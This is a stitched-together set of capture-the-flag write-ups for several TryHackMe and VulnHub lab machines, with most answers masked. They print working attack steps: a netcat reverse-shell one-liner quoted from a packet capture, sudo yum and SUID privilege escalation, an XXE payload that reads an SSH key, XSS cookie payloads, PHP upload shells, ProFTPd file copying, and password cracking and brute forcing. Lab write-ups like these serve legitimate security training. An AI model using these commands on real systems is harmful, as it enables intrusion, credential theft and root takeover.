(ALL) NOPASSWD: /usr/bin/yum
b will upgrade ssh to rootTF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y
cat /root/root.txt will give us root flag.sh-4.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.2# cat /root/root.txt
******************************
What is the root flag? Answer **************************Room: https://thm.com/room/overpass2hacked
overpass2.pcapng.md5sum of the file to verify file.md5sum overpass2.pcapng
11c3b2e9221865580295bc662c35c6dc overpass2.pcapng
wireshark and follow TCP streams of suspicious streams. But, I used strings overpass2.pcapng./development/upload.php.What was the URL of the page they used to upload a reverse shell? Answer /development/.<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>. You can check it by scrolling or simply use strings overpass2.pcapng |grep "php exec"What payload did the attacker use to gain access? Answer exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f").What password did the attacker use to privesc? Answer whene************tant. You can manually scan strings result to see the password.How did the attacker establish persistence? Answer https://github.com/NinjaJc01/ssh-backdoor. With same manual scrolling will work here.cat /etc/shadow command and it’s result inside strings output. We can simply save it in a file named shadow.fasttrack wordlist as instructed using command wget https://raw.githubusercontent.com/drtychai/wordlists/master/fasttrack.txt.john --wordlist=fasttrack.txt shadow
Loaded 5 password hashes with 5 different salts (crypt, generic crypt(3) [?/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
se*****y3 (paradox)
ab***23 (szymex)
s****t12 (bee)
1***2wsx (muirland)
4g 0:00:00:04 100% 0.8113g/s 45.03p/s 187.4c/s 187.4C/s 2003..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Using the fasttrack wordlist, how many of the system passwords were crackable? Answer 4https://github.com/NinjaJc01/ssh-backdoor. We can find hash and salt details inside code. https://raw.githubusercontent.com/NinjaJc01/ssh-backdoor/master/main.goWhat's the default hash for the backdoor?
Answer bdd04d9bb7621687f5df9001f******2d7d8391dfc885d0e9b68acd01fc2170e3What's the hardcoded salt for the backdoor?
Answer 1c362db832f3f864c8c2fe05f2002a05.What was the hash that the attacker used? - go back to the PCAP for this!
Answer 6d05358f090eea56a238af******19292cbfe0b5e98ad1fec71bed. We can check it manually inside strings output. By using strings overpass2.pcapng |grep "backdoor -a" we can directly find the output.sha512. So we can decode it using hashcat.hashcat -m 1710 "6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05" --force /opt/wordlist/rockyou.txt --quiet
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05:no******6
Crack the hash using rockyou and a cracking tool of your choice. What's the password? Answer n********6The attacker defaced the website. What message did they leave as a heading? Answer H4ck3d by CooctusClan. Manually checking strings output for downloading deface page will show this. We can also use this command strings overpass2.pcapng |grep "H4ck3d". Or simply opening the ip in browser will show this heading.strings output. We already have username james and can use cracked password. We need to use -oHostKeyAlgorithms=+ssh-rsa to get ssh as there is an error.ssh -p 2222 james@10.10.136.126
Unable to negotiate with 10.10.136.126 port 2222: no matching host key type found. Their offer: ssh-rsa
$ ssh -oHostKeyAlgorithms=+ssh-rsa james@10.10.136.126 -p 2222
The authenticity of host '[10.10.136.126]:2222 ([10.10.136.126]:2222)' can't be established.
RSA key fingerprint is SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.136.126]:2222' (RSA) to the list of known hosts.
james@10.10.136.126's password: *******
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
What's the user flag? Answer thm{****************}james@overpass-production:/home/james/ssh-backdoor$ cat /home/james/user.txt
thm{****************}
find . -perm /4000 we got a unusual file /home/james/.suid_bash. We can get suid exploit for it here https://gtfobins.github.io/gtfobins/bash/#suidWhat's the root flag? Answer thm{***************************}james@overpass-production:/home/james/ssh-backdoor$ /home/james/.suid_bash -p
.suid_bash-4.4# id
uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),1000(james)
.suid_bash-4.4# cat /root/root.txt
thm{***************************}
Room Link: https://thm.com/r/room/owasptop10
$$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$$\
$$ __$$\ $$ | $\ $$ |$$ __$$\ $$ __$$\ $$ __$$\
$$ / $$ |$$ |$$$\ $$ |$$ / $$ |$$ / \__|$$ | $$ |
$$ | $$ |$$ $$ $$\$$ |$$$$$$$$ |\$$$$$$\ $$$$$$$ |
$$ | $$ |$$$$ _$$$$ |$$ __$$ | \____$$\ $$ ____/
$$ | $$ |$$$ / \$$$ |$$ | $$ |$$\ $$ |$$ |
$$$$$$ |$$ / \$$ |$$ | $$ |\$$$$$$ |$$ |
\______/ \__/ \__|\__| \__| \______/ \__|
$$$$$$$$\ $$$$$$\ $$$$$$$\ $$\ $$$$$$\
\__$$ __|$$ __$$\ $$ __$$\ $$$$ | $$$ __$$\
$$ | $$ / $$ |$$ | $$ |\_$$ | $$$$\ $$ |
$$ | $$ | $$ |$$$$$$$ | $$ | $$\$$\$$ |
$$ | $$ | $$ |$$ ____/ $$ | $$ \$$$$ |
$$ | $$ | $$ |$$ | $$ | $$ |\$$$ |
$$ | $$$$$$ |$$ | $$$$$$\\$$$$$$ /
\__| \______/ \__| \______|\______/
Badges: https://thm.com/ZishanAdThandar/badges/owasp-10
http://machine_ip/evilshell.php.What strange text file is in the website root directory? Answer drpepper.txt. Running ls command will show this strange text file.How many non-root/non-service/non-daemon users are there? Answer 0. Running cat /etc/passwd will show.What user is this app running as? Answer www-data. Used command whoami.What is the user's shell set as? Answer /usr/sbin/nologin. Command used getent passwd www-data or cat /etc/passwd |grep www-data.What version of Ubuntu is running? Answer ``. Command used lsb_release -a.Print out the MOTD. What favorite beverage is shown? Answer DR PEPPER. Used command cat /etc/update-motd.d/00-header.
http://MACHINE_IP:8888.What is the flag that you found in darren's account? Answer fe860794************74b667. To get flag inside darren’s account, register as “ darren” and login. Here you need to use whitespace before darren’s name.arthur and click on Complete.What is the flag that you found in arthur's account? Answer d9ac0f7************75e16e.
http://machine_ip/assets/images/lake-taupo.jpg.http://machine_ip/assets directory, there is a sensitive databse file named webapp.db.What is the name of the mentioned directory? Answer /assets.Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data? Answer webapp.db. It’s a file inside /assets.file webapp.db command shows it’s a sqlite3 file. Now, we can read the db file with sqlite3 webapp.db..table command to get table names, we will see there is two table named session and users. We can get column names using PRAGMA table_info(users); command.
$> sqlite3 webapp.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
sessions users
sqlite> PRAGMA table_info(users);
0|userID|TEXT|1||1
1|username|TEXT|1||0
2|password|TEXT|1||0
3|admin|INT|1||0
sqlite>
select * from users; will show user’s details inside the table. We can get admin hash there 6eea9b7ef191*******0f6c05ceb.
sqlite> select * from users;
4413096d9c933359b898b6202288a650|admin|6eea9b7ef191******f6c05ceb|1
23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
sqlite>
Use the supporting material to access the sensitive data. What is the password hash of the admin user? Answer 6eea9b7ef191*****dd0f6c05ceb.What is the admin's plaintext password? Answer qwe****op. We can crack the hash using CrackStation.Login as the admin. What is the flag? Answer THM{Yzc2Yjd*************diMjdl}. If we goto http://machine_ip/login and login with username admin and the cracked password qw*****iop, it will redirect to http://machine_ip/console/. There we can get the flag.
Full form of XML Answer eXtensible Markup LanguageIs it compulsory to have XML prolog in XML documents? Answer NoCan we validate XML documents against a schema? Answer YesHow can we specify XML version and encoding in XML document? Answer xml prolog
How do you define a new ELEMENT? Answer !ELEMENTHow do you define a ROOT element? Answer !DOCTYPEHow do you define a new ENTITY? Answer !ENTITY
falcon feast and clicked on Complete./etc/passwd and clicked on complete.What is the name of the user in /etc/passwd Answer falcon. We read it from output of last payload./etc/passwd to ssh file location /home/falcon/.ssh/id_rsa.Where is falcon's SSH key located? Answer /home/falcon/.ssh/id_rsa. <?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM '/home/falcon/.ssh/id_rsa'>]>
<root>&read;</root>
What are the first 18 characters for falcon's private key Answer MIIEogI****CAQEA7b
http://machine_ip/ and login with username note and password test123, then click on Complete.Look at other users notes. What is the flag? Answer flag{fivef***three}. Got it by changing note id to 0 and visiting link http://machine_ip/note.php?note=0.
machine_ip, we can get a webapp name Pensive Notes. After googling I got default username password in a github repo https://github.com/NinjaJc01/PensiveNotes. Default credential of Pensive Notes is pensive:PensiveNotes.Hack into the webapp, and find the flag! Answer thm{4b95139*******a1f9d672e17}
Navigate to http://machine_ip in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello". Answer ThereIsMoreToXSSThanYouThink. Used payload <script>alert("Hello")</script>, PoC link http://machine_ip/reflected?keyword=%3Cscript%3Ealert(%22Hello%22)%3C/script%3EOn the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address. Answer ReflectiveXss4TheWin. Used payload <script>alert(window.location.hostname)</script>, PoC link http://machine_ip/reflected?keyword=%3Cscript%3Ealert(window.location.hostname)%3C/script%3Ehttp://machine_ip/stored and create an account.Then add a comment and see if you can insert some of your own HTML. Answer HTML_T4gs. Commented <img> in http://machine_ip/stored.On the same page, create an alert popup box appear on the page with your document cookies. Answer W3LL_D0N3_LVL2 Payload used <script>alert(document.cookie)</script>to. Payload used <script>document.querySelector("#thm-title").textContent="I am a hacker"</script>.Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript. Answer websites_can_be_easily_defaced_with_xss
Who developed the Tomcat application? Answer The Apache Software FoundationWhat type of attack that crashes services can be performed with insecure deserialization? Answer Denial of Service
if a dog was sleeping, would this be: A) A State B) A Behaviour Answer A Behaviour
What is the name of the base-2 formatting that data is sent across a network as? Answer binary
If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be? Answer webapp.com/login/What is the acronym for the web technology that Secure cookies work over? Answer https
http://machine_ip/register, create a account and login.CTRL+SHIFT+I and goto Storage section to read and edit cookies.sessionId cookie and decode it with base64 decoder. Command to decode base64, echo "gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAN2Y1MWRiYWFhZjY2NDYwMzkyNTNiNTlkOTY3NTAwYWVxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==" |base64 -d. You will get the first flag.1st flag (cookie value) Answer THM{good******se64_huh}userType cookie value to admin from user and reload the page and it will redirect to the admin page and show the flag.2nd flag (admin dashboard) Answer THM{heres******in_flag}
nc -lvp 4444 command.userType value to user from admin. Open http://machine_ip/myprofile, then click on Exchange on vim and after that feedback. Give feedback.ifconfig tun0 |grep destination |cut -d" " -f10 command. Then run the python script with python3 pickleme.py. Copy the cookie and add a cookie with that value, name it encodedPayload. Reload feedback page. You will get a netcat shell. You can read flag using cat ../flag.txt command.flag.txt Answer 4a69a7***fd68
http://machine_ip, we get link to http://machine_ip/admin.php and projectworlds.in link. After searching bookstore on projectworlds.in, we get this page https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/ with default credential username: admin@admin.com password: admin.<?php system('wc -c /etc/passwd'); ?> in shell.php. After going to edit book, upload shell.php with change button./bootstrap/img directory. Just open the directory in the link, you can get your uploaded shell there, http://machine_ip/bootstrap/img/shell.php. If you open the page, it will compile and execute the code to display character number of /etc/passwd.How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer) Answer 1611
What IP address is the attacker using? Answer 49.99.13.16. We can check lot of unauthorized login from this ip.What kind of attack is being carried out? Answer Bruteforce. As we can see many unatuthorized usernames requested.
Room Link: https://thm.com/r/room/ffuf
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
HackiFy to install those tools. Repo: https://github.com/ZishanAdThandar/HackiFy
AttackBox.Start the Machine.ffuf -u http://MACHINE_IP/NORAJ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt:NORAJ, just replaced seclists location with /opt/wordlist/SecLists/ as HackiFy install it inside /opt/wordlist directory.What is the first file you found with a 200 status code? Answer favicon.ico
ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt we can get some output.What text file did you find? Answer robots.txtffuf -u http://MACHINE_IP/indexFUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/web-extensions.txt , we can get output.What two file extensions were found for the index page? Answer php,phpsffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt and observe the output.What page has a size of 4840? Answer about.phpffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt. We will get some directories.How many directories are there? Answer 4
After applying the fc filter, how many results were returned? Answer 11. Got by observing output of command ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403.After applying the mc filter, how many results were returned? Answer 6 . Got by observing output of command ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -mc 200Which valuable file would have been hidden if you used -fc 403 instead of -fr? Answer wp-forum.phps. Got by observing output difference between -fc 403 command and command ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fr '/\..*'
Start Machine. Also read this section.What is the parameter you found? Answer id. Got it from output of ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /opt/wordlist/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fw 39.What is the highest valid id? Answer 14. Got it by running, for i in {0..255}; do echo $i; done | ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?id=FUZZ' -c -w - -fw 33.What is Dummy's password? Answer p@ssword. Got it with command ffuf -u http://MACHINE_IP/sqli-labs/Less-11/ -c -w /opt/wordlist/SecLists/Passwords/Leaked-Databases/hak5.txt -X POST -d 'uname=Dummy&passwd=FUZZ&submit=Submit' -fs 1435 -H 'Content-Type: application/x-www-form-urlencoded' .
Complete.
Complete.
ffuf -h.How do you save the output to a markdown file (ffuf.md)? Answer -of md -o ffuf.mdHow do you re-use a raw http request file? Answer -requestHow do you strip comments from a wordlist? Answer -icHow would you read a wordlist from STDIN? Answer -w -How do you print full URLs and redirect locations? Answer -vWhat option would you use to follow redirects? Answer -rHow do you enable colorized output? Answer -c
Complete and done.Author: Zishan Ahamed Thandar
]]>Room Link: https://thm.com/room/kenobi
nmap 10.10.60.186
Starting Nmap 7.80 ( https://nmap.org ) at 2024-02-28 14:09 IST
Nmap scan report for 10.10.60.186
Host is up (0.16s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
2500/tcp filtered rtsserv
Nmap done: 1 IP address (1 host up) scanned in 20.38 seconds
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.104.199
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-28 17:37 IST
Nmap scan report for 10.10.104.199
Host is up (0.16s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-enum-users: ERROR: Script execution failed (use -d to debug)
| smb-enum-shares:
| account_used: guest
| \\10.10.104.199\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.104.199\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.104.199\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 28.24 seconds
Using the nmap command above, how many shares have been found? Answer 3anonymous user using given command smbclient //10.10.56.134/anonymous to read filessmbclient //10.10.56.134/anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 4 16:19:09 2019
.. D 0 Wed Sep 4 16:26:07 2019
log.txt N 12237 Wed Sep 4 16:19:09 2019
9204224 blocks of size 1024. 6877096 blocks available
Once you're connected, list the files on the share. What is the file can you see? Answer log.txtsmbget -R smb://10.10.56.134/anonymous
Password for [root] connecting to //10.10.56.134/anonymous:
Using workgroup WORKGROUP, user root
smb://10.10.56.134/anonymous/log.txt
Downloaded 11.95kB in 6 seconds
What port is FTP running on? Answer 21 Got it from log.txtnmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.56.134
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-28 23:36 IST
Nmap scan report for 10.10.56.134
Host is up (0.16s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /var 9204224.0 1836540.0 6877088.0 22% 16.0T 32000
| nfs-ls: Volume /var
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 .
| rwxr-xr-x 0 0 4096 2019-09-04T12:27:33 ..
| rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups
| rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache
| rwxrwxrwx 0 0 4096 2019-09-04T08:43:56 crash
| rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local
| rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock
| rwxrwxr-x 0 108 4096 2019-09-04T10:37:44 log
| rwxr-xr-x 0 0 4096 2019-01-29T23:27:41 snap
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www
|_
| nfs-showmount:
|_ /var *
Nmap done: 1 IP address (1 host up) scanned in 5.66 seconds
What mount can we see? Answer /varWhat is the version? (FTP) Answer 1.3.5nc 10.10.245.171 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.245.171]
How many exploits are there for the ProFTPd running? Answer 4searchsploit proftp 1.3.5
[i] Found (#2): /opt/exploit-database/files_exploits.csv
[i] To remove this message, please edit "/opt/exploit-database/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
[i] Found (#2): /opt/exploit-database/files_shellcodes.csv
[i] To remove this message, please edit "/opt/exploit-database/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
-------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
-------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
id_rsa file according to given instructionnc 10.10.245.171 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.245.171]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
root@system:/tmp# mkdir /mnt/kenobiNFS
root@system:/tmp# mount 10.10.245.171:/var /mnt/kenobiNFS
root@system:/tmp# ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root 4096 Sep 4 2019 .
drwxr-xr-x 3 root root 4096 Feb 29 10:11 ..
drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 13 2016 local
lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root sgx 4096 Sep 4 2019 log
drwxrwsr-x 2 root mail 4096 Feb 27 2019 mail
drwxr-xr-x 2 root root 4096 Feb 27 2019 opt
lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 30 2019 snap
drwxr-xr-x 5 root root 4096 Sep 4 2019 spool
drwxrwxrwt 6 root root 4096 Feb 29 10:00 tmp
drwxr-xr-x 3 root root 4096 Sep 4 2019 www
root@system:/tmp# cp /mnt/kenobiNFS/tmp/id_rsa .
root@system:/tmp# chmod 600 id_rsa
root@system:/tmp# ssh -i id_rsa kenobi@10.10.245.171
The authenticity of host '10.10.245.171 (10.10.245.171)' can't be established.
ED25519 key fingerprint is SHA256:GXu1mgqL0Wk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.245.171' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$
What is Kenobi's user flag (/home/kenobi/user.txt)? Answer ******************************** 32 alphanumeric characters. Get using cat /home/kenobi/user.txt
What file looks particularly out of the ordinary? Answer /usr/bin/menukenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
Run the binary, how many options appear? Answer 3kenobi@kenobi:~$ /usr/bin/menu
***************************************
- status check
- kernel version
- ifconfig
** Enter your choice :
strings /usr/bin/menu. (As instructed)
Result shows:** Enter your choice :
curl -I localhost
uname -r
ifconfig
curl -I localhost (As instructed).So we can change it to exploit.kenobi@kenobi:~$ echo "/bin/sh" >curl
kenobi@kenobi:~$ chmod 777 curl
kenobi@kenobi:~$ export PATH=/home/kenobi:$PATH
kenobi@kenobi:~$ /usr/bin/menu
***************************************
- status check
- kernel version
- ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
#
What is the root flag (/root/root.txt)? Answer ******************************** 32 alphanumeric chars. Command used cat /root/root.txtMachine: https://www.vulnhub.com/entry/fristileaks-13,133/
NMap scan shows http port 80 is open. There is a website running there.dirb gives robots.txt url.robots.txt. But those links are not useful.http://192.168.0.10/fristi/.eezeepz Inside an html comment.base64 string inside another html comment.base64 to png, it will load the image with the password keKkeKKeKKeKkEkkEk.eezeepz and password keKkeKKeKKeKkEkkEk..jpg extension.netcat listener with nc -lvp port. Then open the link http://{VM_IP}/fristi/uploads/{upload_file_name} then we will get reverse shell.uname -a we can find that version is vulnerable to dirty cow. I used this exploit https://www.exploit-db.com/exploits/40839 and added a user named firefart as root user with password password.tty shell to make the shell interactive with python -c 'import pty; pty.spawn("/bin/bash")' and login as root user firefart with su firefart.fristileaks_secrets.txt. Inside that file we have the flag Y0u_kn0w_y0u_l0ve_fr1st1.Machine: https://www.vulnhub.com/entry/hacklab-vulnix%2C48/
Deploy the VM with a bridged adapter. After finding the target IP (in my case 192.168.0.8), run a full port scan:
nmap -A 192.168.0.8
The scan reveals multiple open services: SSH (22), SMTP (25), Finger (79), POP3 (110), and RPCBind (111).
The Finger service on port 79 is particularly interesting. Finger is an old protocol that leaks user information. Use the finger-user-enum script to enumerate valid usernames:
perl finger-user-enum.pl -U /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt -t 192.168.0.8
This reveals several valid usernames, including user.
With a valid username, brute-force the SSH password using Hydra with the rockyou wordlist:
hydra -l user -P /opt/wordlist/rockyou.txt 192.168.0.8 ssh -t 4
The password for user is letmein.
SSH in and enumerate the system. Check /etc/passwd to find a local account called vulnix with UID 2008. This account has no login shell by default, but we can still interact with it through NFS.
Since NFS is running (port 111), check the exports:
showmount -e 192.168.0.8
The vulnix user’s home directory is exported via NFS. Mount it:
mkdir /tmp/vulnix
mount -t nfs 192.168.0.8:/home/vulnix /tmp/vulnix
Generate an SSH key pair and upload it to the vulnix user’s authorized_keys:
ssh-keygen -f vulnix_key -N ""
mkdir -p /tmp/vulnix/.ssh
cp vulnix_key.pub /tmp/vulnix/.ssh/authorized_keys
chmod 600 /tmp/vulnix/.ssh/authorized_keys
SSH in as vulnix using the generated key:
ssh -i vulnix_key vulnix@192.168.0.8
Check sudo permissions:
sudo -l
The output shows that vulnix can edit /etc/exports — the NFS export configuration file — without a password.
Modify /etc/exports to export the root directory:
sudo bash -c 'echo "/root *(rw,sync,no_root_squash)" >> /etc/exports'
The no_root_squash option is critical — it means root on the client can map to root on the server, bypassing the usual security restriction.
Reboot the VM (or restart the NFS service) to apply the new exports.
Mount the root directory from your machine:
mkdir /tmp/root
mount -t nfs 192.168.0.8:/root /tmp/root
Read the flag:
cat /tmp/root/trophy.txt
# cc614640424f5bd60ce5d5264899c3be
no_root_squash allows remote root access. Always restrict NFS exports to specific IPs and avoid no_root_squash unless absolutely necessary./etc/exports via sudo, they can export any directory on the system. This is a common privilege escalation vector on NFS-configured systems.